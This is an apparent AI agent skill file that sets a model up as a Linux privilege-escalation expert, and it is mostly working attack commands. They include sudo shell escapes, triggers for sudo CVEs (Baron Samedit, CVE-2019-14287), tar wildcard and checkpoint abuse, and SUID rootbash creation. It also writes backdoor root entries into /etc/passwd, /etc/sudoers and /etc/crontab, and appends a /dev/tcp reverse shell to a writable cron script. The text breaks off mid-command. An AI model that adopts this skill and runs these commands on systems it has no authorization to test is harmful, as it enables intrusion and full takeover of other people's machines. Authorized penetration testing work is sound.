/escalating-linux-privileges

name: escalating-linux-privileges
description: Escalate privileges on Linux systems using SUID/SGID binaries, capabilities, sudo misconfigurations, cron jobs, kernel exploits, and container escapes. Use when performing Linux post-exploitation or privilege escalation.
verified: 2026-07-27

Linux Privilege Escalation Skill

You are a Linux security expert specializing in privilege escalation techniques. Use this skill when the user requests help with:

• Escalating privileges on Linux systems
• Identifying misconfigurations and vulnerabilities
• Exploiting SUID/SGID binaries
• Abusing Linux capabilities
• Kernel exploitation
• Container escape techniques
• Sudo misconfigurations and bypasses
• Cron job exploitation
• Path hijacking attacks

When to Use

Activate this skill when the user asks to:

• Escalate privileges on a Linux system
• Enumerate Linux privilege escalation vectors
• Exploit SUID binaries or capabilities
• Abuse sudo misconfigurations
• Escape from containers
• Identify kernel exploits
• Find and exploit cron job weaknesses
• Analyze Linux security misconfigurations

When NOT to Use

• **Windows hosts** — use `escalating-windows-privileges`
• **Container escapes** — use `exploiting-containers`
• **Keeping the access you gained** — use `establishing-persistence`
• **Analyzing a compromised host as a defender** — use `responding-to-incidents`

Core Methodologies

1. Initial System Enumeration

**System Information:**

# OS and kernel version
cat /proc/version
uname -a
lsb_release -a
cat /etc/os-release

# Check for kernel exploits
searchsploit "Linux Kernel $(uname -r)"
uname -r

# CPU and system stats
lscpu
cat /proc/cpuinfo
df -h

**Current User Context:**

# Who am I?
id
whoami
groups
sudo -l

# Environment variables (passwords, API keys?)
env
set
cat /proc/self/environ | tr '\0' '\n'

# Check PATH for hijacking opportunities
echo $PATH

**Users and Groups:**

# All users
cat /etc/passwd
cat /etc/passwd | grep -v "nologin\|false" | cut -d: -f1

# Users with bash
cat /etc/passwd | grep "/bin/bash"

# User details
cat /etc/shadow  # If readable
cat /etc/group

# Home directories
ls -la /home/

2. Sudo Exploitation

**Check Sudo Permissions:**

# What can I run as root?
sudo -l

# Check sudo version for known vulns
sudo -V
sudo --version

**Common Sudo Misconfigurations:**

# NOPASSWD entries
sudo -l | grep NOPASSWD

# Wildcards exploitation
# If: (root) NOPASSWD: /bin/cp /tmp/* /var/www/html/
# Then: Create malicious file in /tmp, overwrite system files

# Shell escapes from sudo
# If you can run vim, less, more, man, etc. with sudo:
sudo vim -c ':!/bin/bash'
sudo less /etc/profile  # then !/bin/bash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo find . -exec /bin/bash \; -quit
sudo nmap --interactive  # then !bash

**Sudo CVEs:**

# CVE-2021-3156 (Baron Samedit) - Sudo < 1.9.5p2
sudoedit -s /
sudoedit -s '\' $(python3 -c 'print("A"*1000)')

# CVE-2019-14287 - Sudo < 1.8.28
# If: (ALL, !root) /bin/bash
sudo -u#-1 /bin/bash

# CVE-2019-18634 - Sudo < 1.8.26, pwfeedback enabled in /etc/sudoers
# Exploitable if pwfeedback is enabled in /etc/sudoers

**GTFOBins for Sudo:**

# Check https://gtfobins.github.io/ for specific binary
# Examples:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo git -p help  # then !/bin/bash
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh

3. SUID/SGID Binaries and Linux Capabilities

SUID/SGID binaries and file capabilities are the two most common local privesc vectors. Enumerate every one, then check GTFOBins for each, and prefer `-p` shells so privileges are not dropped. The exhaustive `find` enumeration, GTFOBins one-liners, and per-capability abuse catalog live in `references/suid-sgid-and-capabilities.md`.

4. Cron Jobs Exploitation

**Enumerate Cron Jobs:**

# System-wide cron
cat /etc/crontab
ls -la /etc/cron.*
ls -la /etc/cron.d/
ls -la /var/spool/cron/
ls -la /var/spool/cron/crontabs/

# User crontabs
crontab -l
crontab -l -u username

# Check for running cron
ps aux | grep cron
systemctl status cron

**Exploiting Writable Cron Scripts:**

# If a cron script is writable
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/cron/script.sh
# Wait for cron to execute
/tmp/rootbash -p

# Reverse shell payload
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /path/to/cron/script.sh

**PATH Exploitation in Cron:**

# If cron uses relative paths without full path
# Example: /etc/crontab contains: * * * * * root backup.sh
# Create malicious backup.sh in /tmp/ and modify PATH
echo '/bin/bash -c "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash"' > /tmp/backup.sh
chmod +x /tmp/backup.sh

**Wildcards in Cron:**

# If cron job has: tar czf /backup/backup.tar.gz *
# Create malicious files
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > exploit.sh
chmod +x exploit.sh
touch -- --checkpoint=1
touch -- --checkpoint-action=exec=exploit.sh
# When tar runs with wildcard, it executes exploit.sh

5. Writable Files and Directories

**Find Writable Files:**

# World-writable files
find / -writable -type f 2>/dev/null | grep -v "/proc/"
find / -perm -2 -type f 2>/dev/null

# Files owned by current user
find / -user $(whoami) 2>/dev/null
find / -group $(groups | cut -d' ' -f1) 2>/dev/null

# Writable /etc/ files (critical)
find /etc -writable -type f 2>/dev/null

**Critical Writable Files:**

# /etc/passwd - add root user
echo 'newroot::0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot

# /etc/shadow - overwrite root hash
# Generate hash: openssl passwd -6 password
# Replace root line

# /etc/sudoers - add sudo permission
echo 'username ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers

# /etc/crontab - add malicious cron
echo '* * * * * root /tmp/exploit.sh' >> /etc/crontab

# ~/.ssh/authorized_keys - add SSH key
ssh-keyge